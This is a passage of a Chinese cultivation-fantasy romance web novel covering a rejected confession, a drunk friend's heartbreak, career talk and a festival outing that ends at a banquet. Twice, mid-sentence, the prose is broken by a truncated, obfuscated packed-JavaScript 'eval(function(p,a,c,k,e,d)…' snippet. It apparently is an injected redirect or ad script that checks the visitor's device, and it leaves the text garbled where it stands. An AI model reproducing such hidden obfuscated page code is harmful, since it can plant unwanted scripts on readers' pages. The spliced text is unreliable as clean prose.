“我是喜欢你,”东方曜当机立断也掐断了边洵,朝着巫寻月就说,“初来学校那两年还不懂事,三年级开始明确心意,可你修为惊人,天分超群,我自知无法匹配,只能暗中苦练,直到五年级升至八重灵,才敢找你一战。寻月,这些年你如同我的信仰一般,我始终在朝你前进。” ——这些年你如同我的信仰一般,我始终在朝你前进。 多动人啊,她知道这是什么感觉,她太知道了。只可惜,这世上有太多人走在单行道,所向相同,却永不互通。 巫寻月没让自己哭出来,她怕东方曜误解自己在感动。她开口时声音很淡漠:“谢谢你们,只是我现在一心只有修炼,别无他求,也分不出别的精力和时间来,于我而言前程最重要,也希望你们能再找到心中所向,一切顺遂。” 说完,她头也不回地走了,什么也不想听,她觉得那与自己无关。 因为要修养,巫寻月暂时停止了一段时间修炼,这可把她愁坏了。自然她心里是有数的,离毕业大考只有一年半了,她现已拥有医疗系必杀技,可控制系必杀技还迟迟未有参悟,甚至进度很不理想,这可怎么好…… 旬休日她去慕府找慕丹青一块躺尸,此事她并不瞒着慕丹青,慕丹青震惊也震惊过了,更多的还是惊喜,她说,她就知道巫寻月永远会给她意想不到的震撼。两人一同犯愁,慕丹青自然也是在琢磨真灵境,自她升九重灵已过两年,今年她二十岁,按照同等水平灵师来说,一般会在二十三岁左右入真灵境,可眼下她也是毫无头绪。 正事想不出,不如聊些八卦吧。可此事,慕丹青也略感为难。她准备了一会儿才开口:“跟你说件乐凰最近的事吧。” 两人一同躺在床上,巫寻月转头向她:“什么?” “她前不久也升了真灵境,虽她不在家,狄府也举家欢庆,所以我才知道的。” 巫寻月一听,当即面露喜色。狄乐凰今年二十二岁入真灵境,算是给自己作为天分上佳的世族子弟交了一份满意的答卷,只是或许鲜少人知道这背后的艰辛。她当年为了以双修毕业,强行扭转灵流,损毁了一举冲击控制系真灵境优势,如若不然,她的真灵级必杀技该是能更早到来。之后她曾找桑家看诊,桑家说,她修成真灵之日恐是要延后了。 狄乐凰并不认命,这些年在外除了打理家族事务,也未曾懈怠苦修。巫寻月不能时常陪伴,自是不能知晓其刻苦,只是偶然瞧出了端倪,追问之下她才吐露真话:“我不能让人轻看我狄家,大哥已是破灵,二姐姐以八重灵毕业,成真灵时是二十四岁,至少我不能比二姐姐晚,我不能让所有人觉得……果然是他拖累了我,我当年所做的一切都是错的。” 狄乐凰从未在信中提起言萧鹤的名字,但巫寻月怎能不明白。而这一番苦果,别人或许不知,但慕丹青是聪慧的,她直言:“乐凰当年双修强行重塑灵流,如今还能在这个时候修成真灵,想必是吃尽了苦头。” 巫寻月无奈地叹:“她也承认过,如继续按部就班,如桑家所言延后不知何时入真灵境,言萧鹤应该会更愧疚,可是……她说当年司城宗主点醒过她,说她为狄家郡主,也自该有她的担当。所以,为了家族荣誉,她会拼力一试。” 而如今,她也真的成功了。 与巫寻月相比,慕丹青看起来面色可不太对。她接着又说:“还有另一事。” “什么?” 慕丹青眼珠子一转,略有谨慎道:“我听说……有一个侍卫一直跟在她身边,与她举止还……颇为亲密。” 47. 第 47 章 47. 巫寻月听到这话,倒也不显得诧异或是意外,她格外平静,只说:“这样……也好,都快五年了,难道要她一直走不出来吗?” 慕丹青一眼看穿了她:“那你在担心什么?” “我……”巫寻月也不掩饰,说,“我是担心,她不过是在麻痹自己……” 年少遇见太过惊艳的人,那么此生就都要以他为梦了。她巫寻月出身穷乡僻壤是没见过什么英年才俊,只见了那一个,偏偏他正是这世间最最惊世绝艳之人,就已让她魂不守舍深陷泥沼近六年不得挣扎而出。她多希望从小看惯神都英才的狄乐凰,不要像她一样。 巫寻月倒是没忽略问她:“这种事……怎么就传到你这了?” 慕丹青好笑道:“你狄家郡主的人气可也是不输几分,跟什么人走得近,很快就会传出来的啦。” 巫寻月有些出神:“可当年她和言萧鹤之事并未传出,说明,若是有心,是可以被压下的。” “你是说,是乐凰故意如此的?” 巫寻月没有做声。若此事已传到神都,那么……言萧鹤该也是知道了。 狄乐凰平日不像慕丹青那么多话,来信并不算频繁,巫寻月以为她会在下次来信中才提及升真灵境之事。可她没有想到的是,比狄乐凰的来信更早来到她面前的,是狄乐凰本人。 那夜巫寻月已更衣歇下了,突然却有人叩了门,舍友们皆疑惑这么晚了会是谁,来人说不方便报姓名,但念在是女声,巫寻月便开门去了,一见才知是狄乐凰的贴身女使。女使所言更是令她大惊,说狄乐凰喝得酩酊大醉,哭着喊着要见她,她们只好将她送来学校,此刻正在断崖等候。 凛冬腊月,巫寻月披上斗篷就随女使去了,女使也没忘给她手里塞了个暖炉。 断崖之上,镇虚鳐拉了一座小型车驾,车前还有一位女使,见到巫寻月,她忧虑道:“小娘子,您劝劝我家郡主吧……” 巫寻月上了车,推门进去,见到狄乐凰醉得不省人事瘫倒在地,脸上泪水混合着鼻涕,看起来狼狈极了。她轻轻唤:“乐凰?乐凰?” 狄乐凰听见她的声音,缓缓醒了过来,哭喊着扑向她:“寻月,寻月……” 巫寻月紧抱住她问:“你怎么了?你何时回的神都?怎么喝了这么多酒?” 狄乐凰声嘶力竭地哭喊着:“寻月,我忘不了他……怎么办寻月?我忘不了他……” 巫寻月的心被狠狠一揪,纵然早有预料,可也不希望这是真的。她鼻尖酸涩,努力逼退眼泪,才轻柔地哄道:“好了好了,没事了,你已经做得很好了乐凰……” “寻月,我好害怕……”狄乐凰泣不成声,声音断断续续,“刚开始的一两年,我想他还没忘记我,就没想过……后来我听说有人想给他议亲,我好愤怒,他怎么能娶别的女人?他怎么能?我设法搅黄了这件事,他也知道是我做的,可他还是不来找我……我也不想这样,后来我就不敢知道有关他的事了,所以我离开神都,远离一切和他有关的事,这样就可以听不见,看不见……寻月,我好害怕,我怕他已经成亲了,我怕他已娶别人为妻,寻月,我怎么办?我怎么办……” 巫寻月早已忍不住,和她一同失声痛哭。好一会儿,她还是强撑着让自己冷静一些,对她说:“乐凰,我们先回去好不好?” “我不要,我不要回去……” “今夜我陪着你,我哪也不去,夜里太冷了,我们先回去,好不好?” 这狄乐凰这才接受了,她埋头在巫寻月肩上点了点头,缓了良久,才能抬声吩咐女使,启程回家。 狄府太大,由侧门至漱玉阁无需经过其他主屋,巫寻月才如此提议的。 而狄乐凰启程前便靠着巫寻月的肩沉睡了过去,一路未醒,到了狄府,巫寻月也没叫醒她,一路将她带到房中,为她洗了把脸,便让她睡去了。 巫寻月就着她身边躺下,看着她哭肿的脸,也不知自己还能做些什么,又该说些什么。算来,自狄乐凰在边境森林遇到言萧鹤开始,到他跟她摊牌之后开始疏远,也不过是半年时间,后来他们每一次见面,他给她的结果都只是伤心欲绝,而她为了这半年时间,就要用一生去买单吗。 翌日是巫寻月先醒来,她习惯了早起,怎么也睡不着,便先起来洗漱了。狄乐凰一夜宿醉,头有些发痛,随后不久也醒了。醒来正见巫寻月洗漱回来,巫寻月走到她床帏边坐下,轻唤:“你醒了。” 狄乐凰浓睡不消残酒,一头栽倒在她腿上,似是不愿醒:“头有点痛。” “拂绿姑姑给你准备了蜂蜜水,喝下后再喝一碗温鸡汤,你会好很多。” 见她久不说话,巫寻月又问:“你何时回的神都?” 好一会儿,狄乐凰才沉沉开口道:“前日夜间,我原在白棉城查账,离得也不远。” 白棉城为北方仅次于神都的第二大城市,以种植棉花发家,成为全长隐洲产棉中心,后来在灵师的帮助下,人们驯养起了绒耳貂,一种非常擅长收棉花的小型灵兽,动作迅敏,耳大能飞,收棉效率大幅提升之后,人民生活也越发富裕起来。富庶之地自是少不了商贸兴盛,因此也是狄家的中心驻地之一。 当然,白棉城对于狄乐凰还有别的意义——那是言萧鹤的家乡。 巫寻月预感有事发生,小心地问下去:“那……怎么突然夜里回来了?” 狄乐凰闭着眼睛,几经叹息,似是不愿承认。巫寻月见她面露苦涩,便说:“没事,你不想说就不说了。” 狄乐凰让自己平静了些,才缓缓说:“我家有个侍卫……年二十九已是隐灵,也是极年轻有为,自我离都,父亲便遣他在我左右,护我周全。” “那……你觉得他如何?” “他自然是上佳才俊,年长我六岁,我在校时就已知道此人,也算出挑的,”狄乐凰说这些时,声音未有半分欣悦,可骤转间,她又变得苦楚了,“前不久我们还在嶷雾城时,他便向我告白,我们在花前月下……吃酒,亲吻,我觉得那样……好像也不错。” 说着不错,却是苦笑。巫寻月犹豫着,还是说:“若……你能喜欢他,那也好。” 狄乐凰睁眼看向她,带着幽怨,却不是对她,而是对自己。她接着说:“后来几日前去了白棉城……那是他的故乡,我心情不好,夜里喝了酒,那侍卫陪着我,后来我喝多了,他……便脱了我的衣服,我也脱了他的衣服……” 狄乐凰说着就捂住了自己的眼睛,泪水从她掌间流出,巫寻月不知道如何是好,只能轻轻拭去她的眼泪,随即被她反握住手。她猛然睁开眼,像是竭力自证那样急促地道:“——我推开了他,我做不到,寻月我做不到,我做不到跟别的男人……我更不想在他的故乡跟别的男人……所以我连夜逃回了神都。” 巫寻月也早已落泪,低低地说:“乐凰……你受苦了。” “寻月,我是不是很好笑?快五年了,我还在为他守身如玉。” 其实那天在慕丹青那里,巫寻月就已问过言萧鹤是否已成家,慕丹青说这么多年了他始终是一个人,独自住在为座首配置的大宅之中。他父亲已逝,母亲还在家乡白棉城,只偶尔到神都小住。 慕丹青说:“听说他母亲多次催他议亲,前两年找人给他说了一家世族的千金,但不知怎的就不了了之了。” 这巫寻月可就忍不住要问了:“那姑娘是何年纪?他怎么就愿意了?” 慕丹青也是无奈:“三十有余,听说是丧夫,两家已定了亲,还没办婚宴,夫婿却在外执行任务时突然染病身亡了,姑娘也是伤心,就耽误在家里了,再后来几年她年纪也不小了,便也难匹配到夫婿了。” “……”巫寻月于心不忍,只好说,“那姑娘也是可怜。” 世人皆有难处,谁都是自己命运中的苦主。 自然这些,巫寻月是不会告诉狄乐凰的。她现在不能再给狄乐凰任何希望,希望若有,也该是言萧鹤自己给她。 “为什么会这样呢?”慕丹青也是叹息,“没想到乐凰会这么执着不移,从前我总觉得她该是挑花了眼,不多留情才是。” 巫寻月出神地道:“可想要的,就只有那一个。” “可你说……言封座心里还有没有乐凰啊?五年也已不短,若没有,乐凰可怎么办;可若是有……他真能一直这样忍下去吗?” 这也是巫寻月想知道的问题,所有人都想知道,却只有一个人能回答。 既说到此,慕丹青索性把有关言萧鹤的另一件事也说了——她知道巫寻月和狄乐凰一直避讳他,不愿知道他的任何事,便也一直按着不提。 “言封座升任座首已有五年了,听说修为大有进益,前不久赦罗封座找他比武,你猜怎么着,”慕丹青卖了个关子,才说,“言封座拒绝了。” 巫寻月不明白:“这可以拒绝吗?” “自然是可以,但是吧,强攻系灵师有点儿轴,尤其是顶尖的强攻系,大概技能全点暴力输出上了,”慕丹青把自己逗笑了,接着说,“所以赦罗封座和言封座也有点像,是个十足的武痴,眼里只有输赢,别人拒绝就硬着来,哪管你愿不愿意,所以赦罗封座直接就对言封座出手了,你又猜怎么着——言封座被逼到最后也不愿大开封灵级必杀技,被赦罗封座重伤一击。” “——啊?”巫寻月目瞪口呆,这死慕丹青,真的到了有猛料的地方又不卖关子了,突然吓她一大跳,“这……还能这样?言封座怎么样了?” 慕丹青看起来并不太担心:“自然是到十部令躺了一阵子,虽说赦罗封座最后收了手,可也有些来不及了,言封座用了玄极太一才勉强挡下一半——那可是最高级别的防御术之一,学校根本不会教,只有封号灵师才会用,后来赦罗封座也被天听阁传召了。” “……那以你之见,若言封座还手,该是打成什么样?” “能让赦罗封座看上的对手,就已经不是一般封号灵师了,”慕丹青此刻眼中的钦佩是同时给这两位的,“我觉得……怎么也该是七三开,说不准还能到六比四呢。” 可无论如何,打平或打赢都是不存在的,赦罗是断层级别的强攻系封号灵师,这一点没有人会质疑。 “言封座为什么就是不还手呢……”巫寻月很快抓住了关键,“——他的封灵境必杀技是什么?” 慕丹青一脸欣慰,满足了她的提问:“凝虚剑狱,是以言封座的毕生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灵师就业主要有三个去向,十一令、天听阁、五大宗族,十一令偏用武,天听阁偏文职,而五大家族专精于各领域事务。 十一令负责执行长隐洲一切需要使用暴力机器的事务,待在十一令实战机会多,需持续提升修炼,适合追求灵术精进之人,且灵族自古崇武,十一令被视为毕业生去向的最高荣誉。而天听阁主要负责决策与管理,文书琐碎繁杂,因此用武之地不多,招收的不仅是灵师,也有部分不会灵术的普通文职,若是入天听阁,自不会像在十一令那样多有训练得以提升修为,但也多了安逸,少了风险。 而五大宗族,掌管五大领域的社会事务,管理覆盖全长隐洲,也需诸多人手,灵师所任之职更是与普通管事不一样。拿桑家来说,药材生产、采集、制作等,或一般病理的治疗和照看都可以由普通人做,而巫寻月所要做的,是和桑淮舟一样对病理和药理进行深层次的研究,主刀灵力伤害等复杂治疗,应对不同战场的救援和辅助办法,等等。 在五大宗族之中,司城家和梅家对灵师的挑选最为严苛。梅家显而易见,需要挑选品行优良、实力超群的教师,以及具备钻研精神,能够潜心研究灵术教育的学术人员;而司城家就更神秘了,司掌武器、灵器制造这样攸关全族安危的大事,若是混入学艺不精、图谋不轨的细作,别说司城家不答应,全体灵师也不答应。 事实上,的确混入过,历史长河之中自然也不会算无遗策,这不是三年前司城凛的继位大典上,才处决了一个吗。 其他世家大族也有各自领域的事务,但总体所需人才不似这三类要求高、人数多,也是几年偶有新进。剩下就还有一种灵活就业,比如医疗系的好手出去自己开个诊所,或是遁术好手开个邮局收发快递,又或是驯兽好手到白棉城这样需要灵兽的地方去也有用武之地,灵活就业的毕业生占比还不少,大家各有所求,也就各有去向。 上完就业指导课,老师初步了解了一下班里就业去向,医疗系一班之中,朝黎自然是入桑家,另有五人有意回乡灵活就业,十七人想入十部令,只有巫寻月一人,不知。 当然了,也没人替她着急——到底谁会担心巫寻月找不到工作? 六年级下学期开始了模拟考,考场设在山下的万映河谷,问心尊者自然不会真的到这来给他们一次次模拟考,而是由术法结成了拟态环境。巫寻月第一次参加模拟考时还有些不适应,险些被迷惑,但很快便找出了破绽,再之后的考试,她便如探囊取物般轻松了——让真灵级灵师来参加六年级模拟考,确实是欺负了他们。 第一次不识,第二次她便看出,拟态环境中的幻象过于机械和死板,该是一个往届生的巨大题库,没有慕丹青所描述的真正的问心尊者所用的幻象那般可怖,不具有各自针对性,既抓不住个人内心的真正恐惧,也就构不成真正的威胁了。 六年级期末,巫寻月还是没能参悟出控制系真灵级必杀技。 “啊啊啊!”巫寻月往草地上一摔,挫败地大喊大叫,“怎么这么难!完全没有头绪!累死我算了!” 慕丹青也慢慢跟着她躺下来:“反正你还有第二套计划,实在不行就算了。” 巫寻月的第二套计划是,不在毕业大考中放出医疗系真灵级必杀技。如今,她的控制系术法已然也超越九重灵功力,若同等展示九重灵功力的医疗术法和控制术法,那么她依然是双修系毕业生——只是这么做有点憋屈,藏拙听上去也有些不齿。 巫寻月咬紧牙关,果然还是没放弃:“不行,还有快一年,我还有时间。” 慕丹青此刻已无心思想这些,只问:“你明天到底去不去逛祭神典啊?” 48. 第 48 章 此时已是期末考试结束的夜晚,以往这个时候,巫寻月该收拾行李准备回家了。慕丹青这厮,自她戍边回来,隔三差五就往学校跑,倒是让巫寻月没了她已毕业的感觉。 每年的六月初六是祭神典,全民纪念十八灵宗的盛大庙会,神都城里有诸多活动,白天有花魁游街乐舞,各类灵术比赛、灵兽表演,寺庙中的盛大祭祀仪式等,到了晚上,有放飞孔明灯、燃放长明灯活动,还有大型戏曲演出,是灵族每年最热闹最宏大的盛事。 前几年的六月初六不是在期末考试前就是在暑假开始之后,难得今年刚好在期末考试结束第二日,慕丹青便喊巫寻月一同前去。 巫寻月没让她失望:“去去去,我这些日子也累了,明天跟你好好去逛一逛。” 慕丹青可算是放心了:“那你今晚到我家去住,明日我们一同梳妆——你帮我选衣服和钗环,还得教我化妆。” “哦慕丹青,在这等我呢。” “那是。” 为了赶上午的花魁游街乐舞,她们清早就得起来梳妆。慕丹青把挑衣服的任务全权交给巫寻月,巫寻月也没忘记她钟情于橙黄色。巫寻月试着提议:“要不试试黄粉交叠?” “不……”慕丹青当即就想拒绝,粉色过于娇俏可爱,她一向不喜,可幡然想到数秒前自己才说“全权”交于她,扭头又拒绝了甚是不好,犹豫一二,还是答应了:“好,那就试试。” 见她采纳,巫寻月开心极了,说:“那我就穿蓝粉,与你相衬。” 侍女送来了一大车黄色、粉色、蓝色的衣服,巫寻月着手给二人搭了起来。最后穿到慕丹青身上的,内里为上襦下裙,上身浅黄,下身桃夭粉,外披黄粉错织绣花直领大袖长衫,粉色并未夺黄之主色,反而低调地映衬出黄色的灿烂清新、明媚动人。 慕丹青站到镜子前,看着如此温婉闺秀的自己,略有错愕。从前出席正宴也会有如此扮相,可她全当那是应承,都未好好看过自己,今日此景,她莫名觉得自己竟还能有一丝温柔媚意。 侍女们已开始惊呼:“姑娘今日感觉很不一样,这身衣服颜色太衬姑娘了!” “都怪我等笨拙,比不上寻月姑娘的审美,姑娘之前不喜华服,想是我等太不会选衣服了……” 巫寻月的脑袋横到她面前:“被自己美到了吧?我早跟你说了试试撞色,会别有惊喜呢。” 慕丹青不肯承认,但语气软了:“好了好了,你也快挑衣服吧,我们还得梳妆呢。” 巫寻月给自己选的蓝粉交叠的色调,形制与慕丹青的相同。才一穿上身,又得侍女们夸赞:“寻月姑娘真是太会选衣服了,黄粉俏丽,蓝粉温雅些,很是衬两位姑娘的性情呢。” “难怪我们姑娘说了今日定要寻月姑娘过来给她选衣服,现在看来我等都惭愧了,从小侍奉姑娘,都不及寻月姑娘了解什么最适合我们姑娘……” 巫寻月被夸得都不好意思了:“好了好了,我不过是平日正事不干,净琢磨什么衣服漂亮了,你们照看丹青方方面面,事无巨细,可得顾着更周全,是不是?” 侍女们听了,一个个都笑起来,说:“寻月姑娘真会说话,性情温婉,处事周全,难怪我们姑娘那么喜欢,才回家不见您一会儿就要念叨了。” 慕丹青惊叫起来:“谁念叨她了!胡说!我没有!” 侍女们皆是掩面,浅笑声在屋内漾成一片。 祭神典节日隆重,侍女们给她们梳的发髻略为复杂,两人负责一位的发髻,同时还得第三人负责上妆。巫寻月喜欢自己上妆,侍女给她上好底妆之后,她便自己动起了手,等搞定了自己,一转头,还有一张白净的脸在嗷嗷待哺。 巫寻月要凑近慕丹青给她上妆,屋内一圈人就跟着调整位置。期间慕丹青问题不断:“这是什么啊?” 巫寻月正给她上胭脂,说:“听雪坊那家铺子新上的膏状胭脂,着色很显,且自然又持久,大家都在抢,早就卖断货了,你家竟有这么全的色号,你家女使姐姐是有心了,可在你手上真是暴殄天物。” 侍女们都在笑,慕丹青不服气地说:“我我我……我今日便学着用起来还不行吗?” 巫寻月分别给自己和慕丹青上妆,待完成时也过了快一个时辰,两人的发髻才差不多也跟着好了。侍女结合二人眉目特色与性情,给慕丹青梳了双髻,饰以烧蓝镶珠发饰与金制拆股钗,华丽而不显累赘,不让她这平日穿惯了劲装的女侠举步不适。 而巫寻月,侍女们打扮起她就跟装扮洋娃娃似的激动,先是给她梳了个繁重的花篮髻,再缀以缠花发冠,发间镶入珍珠排簪,最后簪以金镶玉流苏步摇。当巫寻月终于得闲看向镜子时,被满头如百花争艳般的繁复头饰吓了一跳:“你们……怎把我装扮得比你们家姑娘都夸张?” “是我让她们弄的,”在侍女们一片笑声中,慕丹青解释道,“听说你要来与我一同梳妆,她们可高兴坏了,还能给艳冠神都的巫寻月梳妆,我便让她们大胆发挥,我这姑娘当得不喜饰物,可把她们憋坏了呢。” 巫寻月无奈:“好好好,可晚饭时我得把步摇摘了,要你父亲母亲见了,可要说我没规矩。” “你倒也无需担心,他们必不会如此,”慕丹青欲言又止,后作罢,“我出去再跟你说。” 最后披帛的选取才是点睛之笔,巫寻月给慕丹青选了一条烟粉色,给自己披了条淡黄色,两人以主色彼此点缀,站到一处真是相衬极了。 侍女们都要感动哭了:“寻月姑娘真是太会了,这样看起来真真是一对双胞胎呢!” 两人一同站到镜子前,巫寻月问她:“如何?” 慕丹青脸上是明显的惊艳与欣悦,但懒得夸她:“哎呀走吧走吧,快赶不上了。” 一番打扮,已近午时。她们当然是赶着想去看那人人神往的花魁游街乐舞,花魁选举早已于几月前开始,经各坊各楼层层筛选比试,选出才、貌、艺最佳之女,封为花魁,于祭神典当日乘坐花车游街展示乐舞,夜间会到神都城中最高级别的酒楼蘩楼献舞,今日之后名动神都,身价暴涨。至于今夜花魁会被哪家高门贵子摘得,那又是另一桩趣谈了。 这个点,花车已游完中央大街,正往西大街去,所幸慕府正位于西北城,出门不远就是西大街。 两人牵手往前头赶,巫寻月不忘问她:“你刚才说出来要跟我说什么?” 慕丹青一听,放慢了脚步,脸上略有羞赧:“就是……枫若恒邀了些朋友,今夜在蘩楼吃酒,想让我过去,我说我今日和你一起,他便说要你也一同过去,只是我还得询问你是否愿意。” “原来是这事,”巫寻月调笑地看着她,“去倒是可以,但我需得换些发钗,现在这发冠实在太华丽了,显得喧宾夺主。” “那可不行!”慕丹青坚决反对,“蘩楼今夜可是有花魁在,我要让他们都看看,谁才是真正的艳冠神都。” “我跟那花魁相比干什么……” “倒也不是与她相比,”慕丹青凑近她,眉头一挑,“今夜神都名门齐聚蘩楼,你可知道那花魁今夜可是要花落某个世族贵子家中的,若有你看上的才俊,岂不正好相阻,若是你不在没让他看见,你日后还可愿嫁给曾与花魁一度春宵的男子?” “一男子是否有接纳花魁的想法,可无关我在不在场,”巫寻月想也不想就说,“若没有,就从来不会有;若是有,也定不止是今夜才有。” “你说得也是,”慕丹青为她佩服,可还是不同意,“可我不管,我寻月国色天香,整日闷在学校里都捂坏了,正好趁今日华美绽放,这些饰物还不够得很呢。” 巫寻月真是说不过她,赶着去看花魁也懒得与她争,反正到时候她顺手就把步摇拆了。 算是幸运,两人到西大街时,正巧花车就快到眼前了。街上被人围得水泄不通,喧闹声、钟鼓声、舞乐声交叠响彻云霄,慕丹青拉着巫寻月钻在人堆里挤一个观赏位,没等两人站稳,随着那舞乐渐近,周围人群的欢呼声也骤然放大,慕丹青一抬头,激动大喊:“来了来了!” 巫寻月跟着望过去,只见花车头已驶到眼前,上头围了一圈穿着统一伴舞的女子,而在这些女子簇拥的高台之上,一道炫彩华丽的身影正翩翩起舞。 那女子身姿曼妙,上身着金丝刺绣嫣红抹胸,露出盈盈纤腰,因每一次舞动更显线条紧实,下身的渐变赤朱长裙层层叠叠,垂悬多条长薄纱,随她起舞灵动翻飞,仿佛壁画之中走出的飞天神女。 她腰间、双臂与颈间铃铛挂饰与细长飘带无数,此刻不只是轻柔的配饰,而像是挣脱了凡尘的束缚,随舞乐于空中划出力量充盈的弧线,每一次甩动,都带着裂帛般的风声。 而高髻之下的面容却被一张流珠面饰所遮,这自然是蘩楼打的广告——若要一睹美人风采,今夜尽可到蘩楼来。而仅仅只是惊鸿一瞥,也能看出那定是个倾城美人。 巫寻月看呆了。她看见的,却不止是美人绝色,不止是超凡舞姿。 那漫天飞扬的裙裾在她足尖轻点回旋之际,如被注入生命般轰然怒放,层层叠叠翻飞簇拥。乐声渐急,她的舞姿随之愈发奔放而热烈,那些飘扬的裙裾与飘带,竟如有神力般劈空而去,带着一种柔韧到极致后诞生的、无坚不摧的锋锐。 她看见,那些层叠繁复的裙摆,在疾烈舞动中越荡越勇,如同一道环绕周身的瑰丽风暴,如若最坚实的防御,也可顷刻间化作爆破之力,而那袅袅身影,也上演了一出杀戮之舞。 巫寻月觉得自己仿佛于一片混沌之中,终于窥见了一直沉睡在那里,等待着她的神召。她不住喃喃自语道:“我怎么没想到呢……” 赏完花魁乐舞之后,两人先去了一趟灵宗庙,上香跪拜,祈祷许愿。见到那空置的第十八尊神位,巫寻月忍不住问:“你说,老灵宗他真的还在世吗?这都已经过了……快一万年了。” “老灵宗在不在世,其实和我们都没什么关系,”慕丹青说完,后知后觉看向她,“噢我都忘了,你想去十一部令,那是会和你有点关系。” 巫寻月下意识就说:“谁说我想去十一部令了?” 慕丹青扑哧一笑:“我还不知道你?” “……”巫寻月认了,略略露出笑意,“你觉得我合适吗?” “自然是合适的,桑封座都肯将十一部令的情况说与你听,必定也是觉得更为合适,”灵宗庙中人头攒动,慕丹青得贴着她耳畔说,“我当时也说了,建议你选医疗系,是因为相信你能成为全才,当时没跟你说十一部令……的确是有些疏忽了,如桑封座所言,座首为形象标杆,座首不在位,确实会很容易忽略这个队伍……” “那岂不是更好,”巫寻月眼睛一亮,“我要是去了十一部令,可也就跟着被一起忽略了。” “嚯,你想得美,”慕丹青摇摇头,看戏道,“你要是去了十一部令,那十一部令从此可是要气象更新了。” 祭拜之后,慕丹青带巫寻月到一家名楼吃酒,从那高处可瞭望不远处灵术比赛的会场,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人随侍从进门,巫寻月突然想起来问她:“你跟枫若恒多久约会一次啊?怎么不见你说他?” 慕丹青说:“旬休日会有一次,工作日且得看我有没有空。” “……他没意见吗?” “他倒是有,可我嫌他粘人就会发脾气,他便也没话说了。” 巫寻月忍不住了:“慕丹青,你………哈哈哈哈哈……” 两人随侍从步入蘩楼,最先映入眼帘的便是那贯通五层楼宇的挑空中庭,穹顶高悬,如覆星河,无数灵纹流转的纸伞自穹顶垂落,高低错落,疏密有致,构成一座上下贯通的浮空阶梯。许是为花魁稍后隆重登台做衬托,此刻的舞台上所演奏的只是些低缓淡雅之乐,与今日浓厚节日气氛相比是清淡了些。 贵宾席在三楼,也是观赏舞台表演的最佳之处,两人随侍从上楼,上到一半之时,慕丹青突然发现巫寻月发髻不太对,便停了下来:“你这簪花歪了,我给你理一下。” 巫寻月没放过怼她:“慕丹青,这不是你才给我簪的吗?” 慕丹青一边为她整理,一边回护自己:“什么啊,我刚才肯定是簪好了,定是街上人群拥挤被挤到了。” “可我给你簪的就好着呢呀,咱俩挤的还不是一条街了?” “我不管,我刚才分明就是簪好了,你胸大,身形没我灵活,定是你自己碰歪的。” “慕丹青!” 令人斗嘴之时,全然没注意到,对面另一座楼梯间,正徐徐走上来两位贵客。 掌柜大官人亲自接引,领着司城凛和梅见蹊上了楼。梅见蹊是这里的常客,倒是熟门熟路,可两位大宗族贵子一同到场,掌柜的哪还敢不出来接见。 掌柜的正向二位介绍新酿的漱雪酒,梅见蹊对这话题可是喜闻乐见得很,与掌柜的交流甚欢,不知不觉司城凛便落在了稍后,在楼梯转角处,他偶然抬头,就望见了对面楼梯上衣香鬓影的两人。 他的脚步不自觉就慢了下来。慕丹青正给她整理簪花,和狄乐凰那画中的不同,她今日簪了朵姚黄,而慕丹青头上的也正是应衬她衣着之蓝的月华,加之两人也对调了披帛之色,看来是姐妹俩约定的小巧思了。 她表情调皮,佯装愠怒,嘴角却压着笑意,偶然挤眉怼向慕丹青,灵动得很。狄乐凰说过,这两人爱拌嘴,吵起来像两个小孩子,比着泼皮无赖。 他注意到了周遭之客纷纷对她惊为天人,议论之声四起:“这是今夜的花魁香影娘子吗?” “香影娘子今夜要登台表演,这衣服素雅了些,莫非不是?” “可若不是,怎的从何处来了一位如此绝色……” “香影娘子我见过的,断不及此女,且此女眼神清灵烂漫,该是还未出世的闺阁女子……” 的确,今夜的她太吸睛、太炫目了,他只在余光中便察觉到那方向有一超尘之物,仅是朦胧轮廓就已如同神迹般与周遭格格不入。待他真正看去,见到是那张容颜的一瞬,他竟未感到意外。在这神都城里,还有谁能如她一般,如若神女误入凡尘。 这好像还是他第一次见到她盛妆修容、华服粲然的模样,从前不论是在山里、在学校,她都不施脂粉,素净得很,直到狄乐凰将那幅画拿给他,他好惊讶,他都不知道她这么会打扮,一打扮起来,才是真正的叫日月失辉。 梅见蹊很快注意到司城凛落后了,他一转身,循着他视线看去,更是不意外。梅见蹊靠近他,眉头一挑,道:“早跟你说了,不来会后悔吧。” 49. 第 49 章 49. 司城凛淡漠地收回目光,一言不发地继续上楼。 梅见蹊真是忍无可忍了,道:“司城凛,你这样很装。” 司城凛置若罔闻,不动怒,不反应,仿佛一尊没有感情的冰雕,径直上了楼。 待慕丹青给巫寻月整理好仪容,对面那两人已消失在楼梯间。她们继续上楼,一到三楼枫若恒就看见了慕丹青,主动起身过来相迎。他见到慕丹青第一眼便满是惊艳之喜,越近她越是表现得夸张:“丹青,你今日……真是太美了……” 慕丹青心里是喜悦的,可要嘴硬:“怎的?意思是平日不美了。” “不不不……平日满分,今日超纲了,我还是第一次见你如此温婉可人……” 慕丹青蜜笑地睨了他一眼,转身介绍道:“寻月,这是枫若恒——这……你还能不知?” 枫若恒笑起来:“你双胞胎,怎可不知。” 巫寻月在一边笑,枫若恒跟着摊手迎她们入内:“好了好了,快坐吧,你们二人的位子在这边。” 那边一方长案边的男子们早已等不及起身相迎了,齐刷刷喊:“嫂子好。” 慕丹青脸红了:“什么嫂子,瞎喊什么啊……” 一片哄笑间,枫若恒行礼赔罪:“内子性情直爽,勿怪勿怪……” 听他如此称呼,慕丹青更是脸红了,作势就要踹他一脚:“枫若恒!” 他的兄弟们很会帮腔,起哄道:“那可怎么办,你就是喜欢嫂子这直爽喜欢得紧。” “嫂子为女中豪杰,赏脸配你这泼才,若是有什么训斥你就受着吧。” “哈哈哈哈哈……” 几句调侃间,气氛就热起来了,慕丹青看着气恼,实则被哄得美滋滋的。接着有人先提起:“嫂子,该给我们介绍介绍您的双胞胎了。” 慕丹青拉过巫寻月的手,抬声道:“这是巫寻月,我闺中密友,明年才于神都学宫毕业,四年级时已得桑宗主亲自接见,是百年不遇的医疗系全才。” 